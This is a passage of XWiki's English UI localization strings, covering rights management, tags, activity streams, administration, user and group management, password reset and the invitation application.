wiki\nrendering.async.context.entry.request.contextpath=Request context path\nrendering.async.context.entry.locale=Language\nrendering.async.context.entry.action=Action\nrendering.async.context.entry.user=User", "####################\n# Plugins\n####################", "### Tag plugin\nplugin.tag.editcomment.renamed=Renamed tag [{0}] to [{1}]\nplugin.tag.editcomment.added=Added tag [{0}]\nplugin.tag.editcomment.removed=Removed tag [{0}]", "####################\n# Applications\n####################", "### Rights manager (XWiki Enterprise wiki)\nrightsmanager.confirmdeleteuser=The user __name__ will be deleted and removed from all groups he belongs to. Are you sure you want to proceed?\nrightsmanager.confirmdeletegroup=The group __name__ will be deleted. Are you sure you want to proceed?\nrightsmanager.confirmdeletemember=This user will be removed from the current group. Are you sure you want to proceed?\nrightsmanager.duplicateuser=Some users already exist in the group\nrightsmanager.unregisteredusers=Unregistered Users\nrightsmanager.specialusers=Special Users\nrightsmanager.groups=Groups\nrightsmanager.users=Users\nrightsmanager.groupsorusers=Groups or Users\nrightsmanager.admin=Admin\nrightsmanager.programming=Program\nrightsmanager.edit=Edit\nrightsmanager.script=Script\nrightsmanager.view=View\nrightsmanager.delete=Delete\nrightsmanager.register=Register\nrightsmanager.createwiki=Create Wiki\nrightsmanager.comment=Comment\nrightsmanager.global=Global\nrightsmanager.local=Local\nrightsmanager.both=Both\nrightsmanager.edituserprofile=For more options to edit this user, please go to the\nrightsmanager.userprofile=user's profile\nrightsmanager.members=Members\nrightsmanager.manage=Manage\nrightsmanager.addnewuser=Create user\nrightsmanager.addnewgroup=Add group\nrightsmanager.createnewgroup=Create new group\nrightsmanager.creategroup=Create group\nrightsmanager.groupexist=__name__ cannot be used for the group name, as another page with this name already exists.\nrightsmanager.documentrequireviewrights=(*) Some pages require special rights to be viewed.\nrightsmanager.denyrightforuorg=You are about to deny the __right__ right for __name__. Continue?\nrightsmanager.clearrightforuorg=You are about to clear the __right__ right for __name__. Continue?\nrightsmanager.denyrightforcurrentuser=You are about to deny the __right__ right for yourself. Continue?\nrightsmanager.clearrightforcurrentuser=You are about to clear the __right__ right for yourself. Continue?\nrightsmanager.clearrightforcurrentuserinstead=Would you like to clear the __right__ right for yourself instead?\nrightsmanager.denyrightforgroup=You are about to deny the __right__ right for __name__. This implies denying your own __right__ right, if you are part of this group. Continue?\nrightsmanager.clearrightforgroup=You are about to clear the __right__ right for __name__. This implies clearing your own __right__ right, if you are part of this group. Continue?\nrightsmanager.clearrightforgroupinstead=Would you like to clear the __right__ right for __name__ instead? This implies clearing your own __right__ right, if you are part of this group. Continue?\nrightsmanager.username=User Name\nrightsmanager.firstname=First Name\nrightsmanager.lastname=Last Name\nrightsmanager.groupname=Group Name\nrightsmanager.displayrows=Displaying rows\nrightsmanager.searchfilter=Search filter:\nrightsmanager.searchscope=Search scope:\nrightsmanager.guestcommentrequirescaptcha=Require unregistered users to solve a CAPTCHA when posting a comment on a page", "ui.ajaxTable.outof=out of\nui.ajaxTable.loading=Loading...", "platform.core.rightsManagement.editRightsForSpace=Editing access rights for space {0}\nplatform.core.rightsManagement.ajaxFailure=An error occurred while communicating with the server. Please check that the server is accessible, and you have the proper rights to perform the requested action.\nplatform.core.rightsManagement.saveFailure=An exception occurred while trying to save the current modifications. Please check if you have the proper rights to perform these modifications.\nplatform.core.rightsManagement.saveComment={0} {1} right for {2}", "platform.core.rendering.error.readTechnicalInformation=Read technical information related to this error\nplatform.core.rendering.noRendererForSectionEdit=This page's syntax doesn't support section editing!", "platform.core.errorMessageType=Error\nplatform.core.noticeMessageType=Notice\nplatform.core.warningMessageType=Warning\nplatform.core.invalidUrl=This is not a valid URL\nplatform.core.action.objectRemove.noClassnameSpecified=No object type specified.\nplatform.core.action.objectRemove.noObjectSpecified=No object specified.\nplatform.core.action.objectRemove.invalidObject=Invalid object specified.\nplatform.core.action.deleteAttachment.noAttachment=This attachment does not exist.\ncore.action.deleteAttachment.failed=Failed to delete attachment {0}\ncore.action.upload.failure=Failed to upload {0,choice,0#files|1#one file|1<{0} files}.\ncore.action.upload.failure.maxSize=The wiki administrators have set a limit of {0} for attached files. Please make sure the size of the files you are trying to attach does not exceed this limit.\ncore.action.upload.failure.title=Uploading files to <a href=\"{1}\">{0}</a>\ncore.action.upload.failure.failedFiles=Internal failure while attaching:\ncore.action.upload.failure.wrongFileNames=The following file names are not supported:\ncore.action.upload.failure.noFiles=No files to attach were found in the request.", "### XWikiExplorer JS Widget\nxwikiexplorer.page.hint=Located in\nxwikiexplorer.addpage.title=New page...\nxwikiexplorer.addpage.hint=New page in\nxwikiexplorer.attachments.title=Attachments\nxwikiexplorer.attachments.hint=Attachments of\nxwikiexplorer.attachment.hint=Attached to\nxwikiexplorer.addattachment.title=Upload file...\nxwikiexplorer.addattachment.hint=Upload file to", "\n### Tag application\nxe.tag.tags=Tags\nxe.tag.tagclass=XWiki Tag Class\nxe.tag.tagcloud=Tag Cloud\nxe.tag.notags=No page has been tagged yet\nxe.tag.notagsforspace=No tag has been added on this page or on its children\nxe.tag.tooltip={0,choice,1#1 page|1<{0} pages}\nxe.tag.alldocs=All pages tagged with {0}\nxe.tag.activity=Activity Stream for pages tagged with {0}\nxe.tag.rename=Rename\nxe.tag.rename.success=Tag {0} has been successfully renamed.\nxe.tag.rename.failure=Renaming of tag {0} to {1} failed.\nxe.tag.rename.renameto=Rename {0} to:\nxe.tag.rename.link=Rename\nxe.tag.delete=Delete tag {0}\nxe.tag.delete.success=Tag {0} has been successfully deleted.\nxe.tag.delete.failure=Deletion of tag {0} failed.\nxe.tag.delete.link=Delete\ncore.tags.list.label=Tags:\ncore.tags.add.tooltip=Add tags\ncore.tags.add.label=Comma separated tags:\ncore.tags.add.submit=Add\ncore.tags.add.cancel=Cancel\ncore.tags.add.error.alreadySet=This tag is already set\ncore.tags.add.error.notAllowed=You are not allowed to tag this page\ncore.tags.add.error.failed=Failed to add tag \"{0}\" due to an internal server error\ncore.tags.remove.tooltip=Delete this tag from the page\ncore.tags.remove.error.notFound=This tag is not set\ncore.tags.remove.error.notAllowed=You are not allowed to remove tags from this page\ncore.tags.remove.error.failed=Failed to remove tag \"{0}\" due to an internal server error\ncore.tags.adding=Adding tag...\ncore.tags.deleting=Deleting tag...\ncore.tags.fetchform=Fetching form...\nxe.tag.paramerror=Do not use \"space\" and \"spaces\" parameter in the same time", "### Page footer\ndocextra.annotations=Annotations\ndocextra.comments=Comments\ndocextra.children=Children\ndocextra.attachments=Attachments\ndocextra.history=History\ndocextra.information=Information\ndocextra.extranb=({0})\ndocextra.parent=Parent\ndocextra.backlinks=Backlinks\ndocextra.creation=Creation\ndocextra.createdby=by {0} on {1}\ndocextra.includedpages=Included pages\ndocextra.siblings=Siblings\ncore.tagedit.title=Tags\ntags.save=Save\ntags.save.success=Tags saved successfuly\ntags.save.error=An error occurred while saving tags", "core.links.content=Content", "# Recent Members (XWiki Enterprise wiki)\nxe.recentmembers=Recent Members", "### Activity Macro (since XWiki Enterprise 2.6RC2)\nxe.activity=Activity Stream\nxe.activity.rssfeed=RSS feed\nxe.activity.noentries=There are no activities in the stream", "xe.activity.action.create=created the page\nxe.activity.action.delete=deleted the page\nxe.activity.action.update=edited the page\nxe.activity.action.BlogPostPublishedEvent=published a blog post\nxe.activity.action.addAnnotation=added an annotation\nxe.activity.action.deleteAnnotation=deleted an annotation\nxe.activity.action.updateAnnotation=edited an annotation\nxe.activity.action.addAttachment=added {0,choice,1#an attachment|1<{0} attachments}\nxe.activity.action.deleteAttachment=deleted an attachment\nxe.activity.action.updateAttachment=edited {0,choice,1#an attachment|1<{0} attachments}\nxe.activity.action.addComment=added a comment\nxe.activity.action.deleteComment=deleted a comment\nxe.activity.action.updateComment=edited a comment\nxe.activity.action.summary={0,choice,1#one change|1<{0} changes} by {1,choice,1#one user|1<{1} users}\nxe.activity.action.seechanges=see changes\nxe.activity.action.personalMessage=posted the message\nxe.activity.action.directMessage=says:\nxe.activity.action.groupMessage=posted the message\nxe.activity.action.publicMessage=posted the message", "xe.activity.messages.visibility=Visible to\nxe.activity.messages.visibility.targetName.tip=Name\nxe.activity.messages.submit=Share\nxe.activity.messages.submit.inProgress=Sending...\nxe.activity.messages.submit.failed=Failed to send message\nxe.activity.messages.submit.success=Message sent\nxe.activity.messages.follow=Follow\nxe.activity.messages.following=Following\nxe.activity.messages.unfollow=Unfollow\nxe.activity.messages.follow.inProgress=Updating...\nxe.activity.messages.follow.failed=Failed to add:\nxe.activity.messages.unfollow.confirm=Are you sure you wish to stop following {0}?\nxe.activity.messages.delete=Delete this message\nxe.activity.messages.delete.confirm=Are you sure you wish to delete this message?\nxe.activity.messages.delete.failed=Failed to delete the message\nxe.activity.messages.delete.success=Message deleted\nxe.activity.messages.error.loginToSendMessage=You need to [[log in>>{0}]] before sending messages.\nxe.activity.messages.inactive=The Message feature is currently turned off. You can turn it on from the [[administration>>{0}]].", "###timeAgo used by Recent Activity macro (XE 2.6RC1) and Activity macro\ntimeAgo.minutesAgo={0,choice,0#few seconds|1#one minute|1<{0} minutes} ago\ntimeAgo.hoursAgo={0,choice,0#less than one hour|1# one hour|1<{0} hours} ago\ntimeAgo.daysAgo={0,choice,0#less than one day|1# one day|1<{0} days} ago\ntimeAgo.monthsAgo={0,choice,0#less than month|1# one month|1<{0} months} ago\ntimeAgo.yearsAndMonthsAgo={0,choice,0#|1# one year|1<{0} years} {1,choice,0#|1#and one month|1<and {1} months} ago\ntimeAgo.today=Today\ntimeAgo.yesterday=Yesterday", "### Administration application\nadmin.main.title=Administration\nadmin.switchContext=Go", "### categories\nadmin.lf=Look & Feel\nadmin.lf.description=Change the aspect and layout of the wiki.\nadmin.usersgroups=Users & Rights\nadmin.usersgroups.description=Manage users, groups, and their access rights.\nadmin.content=Content\nadmin.content.description=Manipulate the content of the wiki.\nadmin.extensionmanager=Extensions\nadmin.extensionmanager.description=Search, add, upgrade and remove extensions.", "### sections\nadmin.editing=Edit Mode\nadmin.editing.description=Choose the default edit mode and configure its title and versioning parameters.\nadmin.localization=Localization\nadmin.localization.description=Language-related settings.\nadmin.programming=Programming\nadmin.programming.description=Settings related to programming in XWiki.\nadmin.ooserver=Office Server\nadmin.ooserver.options=Options\nadmin.ooserver.options.source=These options are configured on the server, in {0}.\nadmin.xwiki.officeimporteradmin.description=Configure the Office Server.", "admin.presentation=Presentation\nadmin.presentation.description=Choose the page tabs that are visible and configure the page header and footer.\nadmin.panelwizard=Panel Wizard\nadmin.panels.panelwizard.description=Add and remove panels, change the page layout.\nadmin.colorthemes=Color Themes\nadmin.colorthemes.description=Settings for color themes customization.\nadmin.colorthemes.colibrithemes=Colibri Themes\nadmin.colorthemes.flamingothemes=Flamingo Themes\nadmin.colorthemes.invalidtheme=The current value ({0}) is invalid. The color theme might not exist.\nadmin.icontheme=Icon Theme", "admin.users=Users\nadmin.users.description=Manage users of this wiki: add, remove, modify their profile information.\nadmin.groups=Groups\nadmin.groups.description=Manage user groups: add or remove groups, or change group members.\nadmin.registration=Registration\nadmin.registration.description=Manage user registration settings.\nadmin.rights=Rights\nadmin.rights.description=Manage groups and users rights: control who can view, edit and delete pages.\nadmin.pagerights=Rights: Page\nadmin.pagerights.description=Manage groups and users rights: control who can view, edit and delete the page. It does not affect the children.\nadmin.pagerights.info=These rights apply on this page only.\nadmin.pagerights.infoNonTerminalDoc=They do not affect the {0}children{1}.\nadmin.pageandchildrenrights=Rights: Page & Children\nadmin.pageandchildrenrights.description=Manage groups and users rights: control who can view, edit and delete the page. It affect their children.\nadmin.pageandchildrenrights.info=These rights apply on this page {0}and all {1}its children{2}{3}.\nadmin.userprofile=User Profile\nadmin.userprofile.description=Manage what information is displayed on the user profile of each user.", "admin.import=Import\nadmin.import.description=Import pages or applications into the wiki.\nadmin.export=Export\nadmin.export.description=Export wiki pages into a XAR.", "admin.xwiki.extensions.description=Search for new extensions to add to the wiki.\nadmin.xwiki.extensionhistory.description=See the history of the installed extensions.\nadmin.xwiki.extensionupdater.description=Check if there are any updates available for the installed extensions.", "admin.globaladmin=Wiki Preferences\nadmin.spaceadmin=Space Preferences\nadmin.placetoadminister=Place to administer\nadmin.gotoglobaladministration=Edit Wiki Preferences:\nadmin.globaladministration=Wiki Administration\nadmin.gotospaceadministration=Edit Space Preferences:\nadmin.showsections=Show the available categories\nadmin.hidesections=Hide the available categories\nadmin.documentation=Help on this setting\nadmin.general=General settings\nadmin.authentification=Authentication\nadmin.docextra=Page Tabs\nadmin.language=Language\nadmin.date=Date / Time\nadmin.editor=Editor\nadmin.versioning=Versioning\nadmin.smtp=SMTP\nadmin.header=Header\nadmin.panels=Panels\nadmin.footer=Footer\nadmin.skin=Skin\nadmin.messagestream=Message Stream\nadmin.messagestream.description=Enable or disable the message stream in the wiki.\nadmin.colortheme=Color Theme\nadmin.colortheme.wikiSetting=The color theme configured at the wiki level is {0}.\nadmin.colortheme.manage=Manage color themes\\u00BB\nadmin.customize=Customize\nadmin.save=Save\nadmin.defaultwikinotinstalled_useflavor=Your wiki seems empty. You may want to {0}install a flavor{1}, it will bring you a lot of features: user profiles, recent activity, administration pages and many more.\nadmin.adminappnotinstalled=The administration application is not installed. Since XWiki Enterprise 1.5, the Administration is distributed as an application. You can download it from {0}.\nadmin.preferences.title=Preferences\nadmin.analytics=Google Analytics\\u2122\nadmin.analytics.description=Configure the Google Analytics\\u2122 account.\nadmin.analytics.account.description=To enable page view tracking in Google Analytics\\u2122, enter your Google Analytics\\u2122 account here. You may enter more accounts (space separated) to track pages in multiple accounts.\nadmin.analytics.method.description=The tracking method you selected when you created the account.\nadmin.analytics.notrunning=Google Analytics\\u2122 is not running.\nadmin.analytics.running=Google Analytics\\u2122 is running.\nadmin.analytics.noscript=The application is unable to retrieve the script required to execute Google Analytics\\u2122.\nXWiki.GoogleAnalyticsCode_method=Tracking Method\nXWiki.GoogleAnalyticsCode_method_universal=Universal Analytics\nXWiki.GoogleAnalyticsCode_method_classic=Classic Analytics\nXWiki.GoogleAnalyticsCode_account=Account", "### Account validation\nxe.admin.accountvalidation.success=Your account has been activated. You can now <a href=\"{0}\">login</a>.\nxe.admin.accountvalidation.failure=There was a problem validating your account. Please contact an administrator.\n### Group management\nxe.admin.groups.member=Member\nxe.admin.groups.type=Type\nxe.admin.groups.type.user=User\nxe.admin.groups.type.group=Group\nxe.admin.groups.scope=Scope\nxe.admin.groups._actions=Actions\nxe.admin.groups._actions.delete=Remove\nxe.admin.groups.addUser=Users to add\nxe.admin.groups.addUser.submit=Add\nxe.admin.groups.addGroup=Subgroups to add\nxe.admin.groups.addSuccess=Members successfully added\nxe.admin.groups.addFailure=Failed to add members to group:\nxe.admin.groups.filter.groupName=Group name filter\nxe.admin.groups.filter.scope=Groups scope\nweb.groups.administration.groupsIgnored=Members successfully added but some groups have been ignored ({0})", "xe.admin.groups.loading=Loading...\nxe.admin.groups.name=Group Name\nxe.admin.groups.members=Members\nxe.admin.groups.manage=Manage\nxe.admin.groups.local=Local\nxe.admin.groups.global=Global\nxe.admin.groups.both=Both\nxe.admin.groups.create=Create a new group\nxe.admin.groups.create.inProgress=Creating the group...\nxe.admin.groups.create.done=Group created\nxe.admin.groups.create.failed=Failed to create the group\nxe.admin.groups.creategroup=Create group\nxe.admin.groups.editGroup=Edit group\nxe.admin.groups.deleteGroup=Delete group\nxe.admin.groups.delete.inProgress=Deleting the group...\nxe.admin.groups.delete.done=Group deleted\nxe.admin.groups.delete.failed=Failed to delete the group\nxe.admin.groups.currentgroups=Existing groups\nxe.admin.groups.administration=XWiki groups administration pages", "xe.admin.groups._avatar=Picture\nxe.admin.groups.email=Email\nxe.admin.groups.company=Company\nxe.admin.groups.phone=Phone\nxe.admin.groups.emptyvalue=-", "### User management\nxe.admin.users.loading=Loading...\nxe.admin.users=Users\nxe.admin.users.registernew=Register a new user\nxe.admin.users.existing=Existing user accounts\nxe.admin.users.administration=XWiki users administration pages\nxe.admin.users.sheet=User Sheet\nxe.admin.users.applyonusers=This stylesheet must be applied on a page containing a XWiki.XWikiUsers object.\nxe.admin.users.name=User\nxe.admin.users.first_name=First Name\nxe.admin.users.last_name=Last Name\nxe.admin.users.scope=Scope\nxe.admin.users._actions=Actions\nxe.admin.users._actions.disable=Disable\nxe.admin.users._actions.enable=Enable\nxe.admin.users.editUser=Edit user\nxe.admin.users.deleteUser=Delete user\nxe.admin.users.delete.inProgress=Deleting the user\\u2026\nxe.admin.users.delete.done=User deleted\nxe.admin.users.delete.failed=Failed to delete the user\nxe.admin.users.create.inProgress=Creating the user\\u2026\nxe.admin.users.create.done=User created\nxe.admin.users.create.failed=Failed to create the user", "### User profile management\nplatform.user.profileConfigureSectionsTitle=Displayed sections\nplatform.user.profileConfigureSectionsLabel=Section IDs\nplatform.user.profileConfigureSectionsHint=Space or newline separated list of section IDs to be displayed from the list of sections defined below.\nplatform.user.profileConfigureSectionsAllTitle=All sections\nplatform.user.profileConfigureSectionAddButtonLabel=Add\nplatform.user.profileConfigureSectionRemoveButtonLabel=Remove\nplatform.user.profileConfigureSectionIdLabel=Section ID\nplatform.user.profileConfigureSectionIdHint=Unique identifier of this section. Must not contain spaces.\nplatform.user.profileConfigureSectionNameLabel=Section Name\nplatform.user.profileConfigureSectionNameHint=Display name of this section. This can be a fixed string or a [[translation key>>{0}]] (Example: $services.localization.render(''key'')).\nplatform.user.profileConfigureSectionPropertiesLabel=Section Properties\nplatform.user.profileConfigureSectionPropertiesHint=Space or newline separated list of properties of the [[{0}]] class to display in this section. An optional [[microformats>>http://en.wikipedia.org/wiki/Microformat]] class can prefix the property name (Example: given-name:first_name family-name:last_name).\nplatform.user.profileConfigureSaveButtonLabel=Save", "### Skin\nxe.admin.skin=Skin\nxe.admin.skin.makeyourown=You can modify the existing look and feel and even create your own.\nxe.admin.skin.editskin=Edit this skin\nxe.admin.skin.testskin=Test this skin", "### Username recovery\nxe.admin.forgotUsername.loginMessage=Forgot your username?", "xe.admin.forgotUsername.title=Forgot your username?\nxe.admin.forgotUsername.instructions=Please enter the email address you provided when creating your account.\nxe.admin.forgotUsername.email.label=Email address\nxe.admin.forgotUsername.submit=Retrieve username\nxe.admin.forgotUsername.result=Your username is: {0}\nxe.admin.forgotUsername.multipleResults=The following usernames are registered with this email address:\nxe.admin.forgotUsername.login=Login \\u00BB\nxe.admin.forgotUsername.error.noAccount=No account is registered using this email address.\nxe.admin.forgotUsername.error.retry=\\u00AB Try again using another email address", "### Password reset\nxe.admin.passwordReset.loginMessage=Forgot your password?", "xe.admin.passwordReset.title=Forgot your password?\nxe.admin.passwordReset.instructions=Please enter your username to start the password reset process.\nxe.admin.passwordReset.username.label=Username\nxe.admin.passwordReset.submit=Reset password\nxe.admin.passwordReset.emailSent=An e-mail was sent to {0}. Please follow the instructions in that e-mail to complete the password reset procedure.\nxe.admin.passwordReset.login=Login \\u00BB\nxe.admin.passwordReset.error.noUser=The {0} user does not exist.\nxe.admin.passwordReset.error.ldapUser=The {0} user is an LDAP user. In that case the password has to be changed on the LDAP server.\nxe.admin.passwordReset.error.noEmail=Cannot reset password: email address not provided in the user profile.\nxe.admin.passwordReset.error.emailFailed=An unknown problem occurred while sending the reset email.\nxe.admin.passwordReset.error.retry=\\u00AB Retry username\nxe.admin.passwordReset.error.recoverUsername=Forgot your username?\nxe.admin.passwordReset.versionComment=Generated password reset token\nxe.admin.passwordReset.error.csrf=Bad CSRF token, you need to perform the procedure again.", "xe.admin.passwordReset.step2.title=Reset your password\nxe.admin.passwordReset.step2.newPassword.label=New password\nxe.admin.passwordReset.step2.newPasswordVerification.label=Re-enter new password\nxe.admin.passwordReset.step2.submit=Save\nxe.admin.passwordReset.step2.success=The password has been successfully set.\nxe.admin.passwordReset.step2.login=Please login to continue \\u00BB\nxe.admin.passwordReset.step2.backToStep1=Back to the password reset page \\u00BB\nxe.admin.passwordReset.step2.error.emptyPassword=The password cannot be empty.\nxe.admin.passwordReset.step2.error.verificationMismatch=The two passwords do not match.\nxe.admin.passwordReset.step2.error.wrongParameters=Wrong parameters! Another link was already sent or this one was already accessed!\nxe.admin.passwordReset.step2.error.noProgrammingRights=This page requires programming rights to work, which currently isn't the case. Please notify an administrator of this problem and try again later.\nxe.admin.passwordReset.step2.versionComment.passwordReset=Password was reset\nxe.admin.passwordReset.step2.versionComment.changeValidationKey=Refreshed password reset token", "### XWiki.Configurable - application configuration\nxe.admin.configurable.title=Custom configurable sections\nxe.admin.configurable.macros.title=Macros for custom configurable sections\nxe.admin.configurable.noPermissionThisApplication=You don't have permission to configure this application.\nxe.admin.configurable.applicationAuthorNoAdmin=This configuration cannot be displayed because it was last edited by [[{0}]] who doesn''t have permission to edit this page.\nxe.admin.configurable.cannotLockNoJavascript=This page cannot be locked for editing because Javascript is turned off. For page editing safety, please enable Javascript.\nxe.admin.configurable.configurationClassNonexistant=No class found by the name {0}, can''t display configuration.\nxe.admin.configurable.noObjectOfConfigurationClassFound=No object of class: {0} found in page {1}, can''t display configuration.\nxe.admin.configurable.sectionIconNoAccess=(No Access)\nxe.admin.configurable.sectionIconNoAccessTooltip=You don't have permission to configure this section.\nxe.admin.configurable.noViewAccessSomeApplications=Some sections may not be displayed because you do not have view access to some configurable applications including: {0}\n### XWiki.Registration\nxe.admin.registration.passwordTooShort=Please use a longer password.\nxe.admin.registration.passwordMismatch=The passwords do not match.\nxe.admin.registration.invalidEmail=Please enter a valid email address.\nxe.admin.registration.youCanConfigureRegistrationHere=You can configure this application by clicking here.\nxe.admin.registration.youCanConfigureRegistrationFieldsHere=You can add, remove and change fields in this form by clicking here.\nxe.admin.registration.fieldWithNoName=ERROR: Field with no name.", "### Attachment picker macro\nxe.attachmentSelector.gallery.title=Attachments\nxe.attachmentSelector.upload.title=Add\nxe.attachmentSelector.upload.hint=Accepted formats: {0}\nxe.attachmentSelector.upload.submit=Upload and select\nxe.attachmentSelector.selectFile=Choose an attachment\nxe.attachmentSelector.default=Default\nxe.attachmentSelector.supportedFormats=Accepted formats: {0}\nxe.attachmentSelector.actions.select=Select\nxe.attachmentSelector.actions.delete=Delete\nxe.attachmentSelector.actions.view=View\nxe.attachmentSelector.actions.download=Download\nxe.attachmentSelector.upload.error.noFile=Please choose a file to upload\nxe.attachmentSelector.upload.error.badExtension=Unsupported file format\nxe.attachmentSelector.upload.inProgress=Uploading...\nxe.attachmentSelector.cancel=Cancel and return to page\nxe.attachmentSelector.postUpload.comment=Update field {0}", "### Users Directory\nxe.userdirectory.title=User Directory\nxe.userdirectory.customizeSaveButtonLabel=Save\nxe.userdirectory.customizeResetButtonLabel=Reset to default\nxe.userdirectory.customizePreviewTitle=Preview\nxe.userdirectory.isCustomizedWarning=You are viewing a customized user directory. You can [[reset it to default>>{0}||queryString=\"{1}\"]] or [[customize>>{2}||queryString=\"{3}\"]] it further.\nxe.userdirectory.canCustomizeInfo=The user directory can be [[customized>>{0}||queryString=\"{1}\"]] to display the columns you wish to see.\nxe.userdirectory.canCustomizeInfoGuest=The user directory can be customized to display the columns you wish to see, but you need to [[log in>>{0}]] first.\nxe.userdirectory._avatar=Picture\nxe.userdirectory.doc.name=User ID\nxe.userdirectory.emptyvalue=\nadmin.userdirectory=User Directory\nadmin.userdirectory.description=Customize the user directory live table.", "####################\n# Translations for Invitation Application\n####################", "### Invitation section of administration interface.\nadmin.invitation=Invitation\nadmin.invitation.description=Configure the Invitation Application\nxe.invitation.heading=Invitation Messenger\nxe.invitation.userIsReportedSpammer=A message which you sent was reported as spam and your privilege to send mail has been suspended pending investigation, we apologize for the inconvenience.\nxe.invitation.internalDocument=This page is used by the [[invitation application>>{0}]]\nxe.invitation.onlyMembersCanSendMail=Sorry, only members of this wiki can send mail.\nxe.invitation.youAreAMemberOfOtherWiki=You seem to be a member of {0} which is a different wiki.\nxe.invitation.toLabel=To:\nxe.invitation.subjectLabel=Subject:\nxe.invitation.contentLabel=Message:\nxe.invitation.previewLabel=Preview:\nxe.invitation.errorWhileSending=An error has occurred while sending the message.\nxe.invitation.successSending=Your message has been sent.\nxe.invitation.messageSentLogEntry=Message sent\nxe.invitation.noValidMessagesToSend=Your message could not be sent because there were no valid email addresses to send to.\nxe.invitation.noMessageFound=No message found by that id.\nxe.invitation.guestsCanNotJoin=Invitations can not be accepted because this wiki is closed. To allow invitees to join, save [[{0}]] as a user with Programming Rights.\nxe.invitation.failedToCreateDocuments=Failed to create pages necessary for Invitation application to function.", "xe.invitation.emailContent.subjectLine={0} has invited you to join {1} {2}\nxe.invitation.emailContent.userHasInvitedYouToJoinWiki=You have received this mail because {0} has invited you to join {1}.\nxe.invitation.emailContent.joinLink=Accept the invitation and join\nxe.invitation.emailContent.declineLink=Decline\n### reportMessage expects the opening link tag to be passed as the parameter.\nxe.invitation.emailContent.reportMessage=If this message looks like abuse of our system, please {0}report it{1}", "xe.invitation.sendMail.addMessageSaveComment=Added Email Message(s).", "xe.invitation.displayOldMessage.heading=Inspect sent message\nxe.invitation.displayOldMessage.noMessageFound=No message by this id was found.\nxe.invitation.displayOldMessage.reportedAsSpam=Reported as spam\nxe.invitation.displayOldMessage.waitingToBeInvestigated=Waiting to be investigated\nxe.invitation.displayOldMessage.viewMessage=View Message\nxe.invitation.displayOldMessage.sentBy=Sent by:\nxe.invitation.displayOldMessage.markThisMessageAsInvestigated=Mark this message as investigated.", "xe.invitation.displayAllOldMessages.status=Message Status\nxe.invitation.displayAllOldMessages.viewMessagesSentByUsers=View messages sent by users\nxe.invitation.displayAllOldMessages.sender=Sender\nxe.invitation.displayAllOldMessages.subject=Subject\nxe.invitation.displayAllOldMessages.memo=Notes:", "xe.invitation.displayMessageTable.sentDate=Date\nxe.invitation.displayMessageTable.sendingUser=Sender\nxe.invitation.displayMessageTable.subjectLine=Subject\nxe.invitation.displayMessageTable.status=Status\nxe.invitation.displayMessageTable.memo=Memo\nxe.invitation.displayMessageTable.recipient=Email\nxe.invitation.displayMessageTable.history=Message History\nxe.invitation.displayMessageTable.showHistory=Show History\nxe.invitation.displayMessageTable.multipleRecipients={0} Recipients\nxe.invitation.displayMessageTable.various=<various>\nxe.invitation.displayMessageTable.noMessages=No messages to display", "xe.invitation.displayMessageTableInForm.buttonLabel.cancel=Rescind Invitation\nxe.invitation.displayMessageTableInForm.buttonLabel.notSpam=Mark as not spam", "xe.invitation.doAction.confirmLabel=Confirm\nxe.invitation.doAction.lackingPermission=You do not have permission to do this action.\nxe.invitation.doAction.invitationCanceledMemo={0} left you this message when rescinding the invitation.\nxe.invitation.doAction.invalidStatus=This request cannot be processed because the status of this invitation is {0}.", "xe.invitation.doAction.reportSpam.heading=Report Abuse\nxe.invitation.doAction.reportSpam.noMessageFound=There was no message found by the given ID. Maybe an administrator deleted the message from our system.\nxe.invitation.doAction.reportSpam.success=Your report has been logged and the situation will be investigated as soon as possible, we apologize for the inconvenience.\nxe.invitation.doAction.reportSpam.reportSaveComment=Reported message as spam.\nxe.invitation.doAction.reportSpam.areYouSure=Are you sure you would like to report this message as abuse?\nxe.invitation.doAction.reportSpam.memoLabel=Note to the administrator who investigates this report (optional)", "xe.invitation.doAction.accept.heading=Accept invitation\nxe.invitation.doAction.accept.saveComment=Invitation accepted.\nxe.invitation.doAction.accept.noMessageFound=No message was found by the given ID. It might have been deleted or maybe the system is experiencing difficulties.\nxe.invitation.doAction.accept.invitationCanceled=We're sorry but this invitation has been rescinded.\nxe.invitation.doAction.accept.alreadyReportedAsSpam=This invitation has been reported as spam and is no longer valid.\nxe.invitation.doAction.accept.alreadyDeclined=This invitation has been declined and cannot be accepted now.\nxe.invitation.doAction.accept.alreadyAccepted=This invitation has already been accepted and the offer is no longer valid.\nxe.invitation.doAction.accept.improperConfiguration=This invitation cannot be accepted because the wiki is not configured to allow new users.", "xe.invitation.doAction.decline.heading=Decline invitation\nxe.invitation.doAction.decline.memoLabel=Message to {0} (optional)\nxe.invitation.doAction.decline.confirmLabel=Decline invitation\nxe.invitation.doAction.decline.saveComment=Invitation Declined\nxe.invitation.doAction.decline.alreadyReportedAsSpam=This invitation has already been reported as spam and thus cannot be declined.\nxe.invitation.doAction.decline.invitationCanceled=This invitation has been rescinded and thus cannot be declined.\nxe.invitation.doAction.decline.alreadyDeclined=This invitation has already been declined and cannot be declined again.\nxe.invitation.doAction.decline.alreadyAccepted=This invitation has already been accepted and now cannot be declined.\nxe.invitation.doAction.decline.noMessageFound=No invitation was found by the given ID. It might have been deleted or maybe the system is experiencing difficulties.\nxe.invitation.doAction.decline.success=This invitation has successfully been declined.", "xe.invitation.doUserActionOnMultipleMessages.notPossibleOnMultipleMessages=This action is not possible on multiple messages.\nxe.invitation.doUserActionOnMultipleMessages.confirmLabel=Confirm\nxe.invitation.doUserActionOnMultipleMessages.noMessagesFound=No messages were found for the provided IDs.\nxe.invitation.doUserActionOnMultipleMessages.noMessagesAffected=This action cannot be carried out because all of the messages selected are of the wrong status.", "xe.invitation.doUserActionOnMultipleMessages.notSpam.successMessage=Invitation successfully marked as not spam. Log entry: {0}\nxe.invitation.doUserActionOnMultipleMessages.notSpam.heading=Mark message as not spam or situation handled.\nxe.invitation.doUserActionOnMultipleMessages.notSpam.memoLabel=Synopsis of findings and/or action taken\nxe.invitation.doUserActionOnMultipleMessages.notSpam.confirmLabel=Return email privilege\nxe.invitation.doUserActionOnMultipleMessages.notSpam.reportHandledSaveComment={0} investigated spam report.", "xe.invitation.doUserActionOnMultipleMessages.cancel.heading=Rescind invitations\nxe.invitation.doUserActionOnMultipleMessages.cancel.saveComment={0} invitations were rescinded by {1}\nxe.invitation.doUserActionOnMultipleMessages.cancel.success=Invitation successfully rescinded.\nxe.invitation.doUserActionOnMultipleMessages.cancel.memoLabel=Leave a message in case the invitee(s) try to register.\nxe.invitation.doUserActionOnMultipleMessages.cancel.someMessagesNotFound={0} of the {1} invitations to rescind could not be 